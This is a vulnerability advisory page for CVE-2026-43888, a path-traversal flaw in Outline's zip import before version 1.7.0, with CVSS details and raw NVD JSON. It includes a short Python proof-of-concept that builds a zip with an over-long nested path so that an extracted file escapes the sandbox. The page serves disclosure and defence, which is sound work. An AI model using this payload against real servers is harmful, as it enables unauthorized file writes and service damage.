Security Vulnerability Report
中文
CVE-2026-43888 CVSS 8.7 HIGH

CVE-2026-43888

Published: 2026-05-11 22:22:14
Last Modified: 2026-05-11 22:22:14

Description

Outline is a service that allows for collaborative documentation. Prior to 1.7.0, ZipHelper.extract computes the extraction path for each entry by passing a full filesystem path through trimFileAndExt, a filename helper that calls path.basename on its input when truncating. When a zip entry's nested path is long enough to push the joined filesystem path over MAX_PATH_LENGTH (4096 bytes), trimFileAndExt silently drops all directory components and returns a bare filename. fs.createWriteStream then opens the file relative to the process working directory instead of inside the extraction sandbox, and the escaped file persists after import cleanup because cleanupExtractedData only removes the temporary extraction directory. This vulnerability is fixed in 1.7.0.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Outline < 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os # Create a malicious ZIP file with a path length designed to trigger the bug # The path needs to be long enough (> 4096 bytes) to trigger trimFileAndExt logic long_path = "A" * 5000 # Adjust length to exceed MAX_PATH_LENGTH filename = "escaped_file.txt" with zipfile.ZipFile('malicious.zip', 'w') as zf: # The arc_name simulates the long nested path zf.writestr(os.path.join(long_path, filename), 'This file should escape the sandbox.') print('Malicious ZIP file created: malicious.zip')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43888", "sourceIdentifier": "[email protected]", "published": "2026-05-11T22:22:13.627", "lastModified": "2026-05-11T22:22:13.627", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outline is a service that allows for collaborative documentation. Prior to 1.7.0, ZipHelper.extract computes the extraction path for each entry by passing a full filesystem path through trimFileAndExt, a filename helper that calls path.basename on its input when truncating. When a zip entry's nested path is long enough to push the joined filesystem path over MAX_PATH_LENGTH (4096 bytes), trimFileAndExt silently drops all directory components and returns a bare filename. fs.createWriteStream then opens the file relative to the process working directory instead of inside the extraction sandbox, and the escaped file persists after import cleanup because cleanupExtractedData only removes the temporary extraction directory. This vulnerability is fixed in 1.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/outline/outline/security/advisories/GHSA-hw32-2v7j-mgqc", "source": "[email protected]"}]}}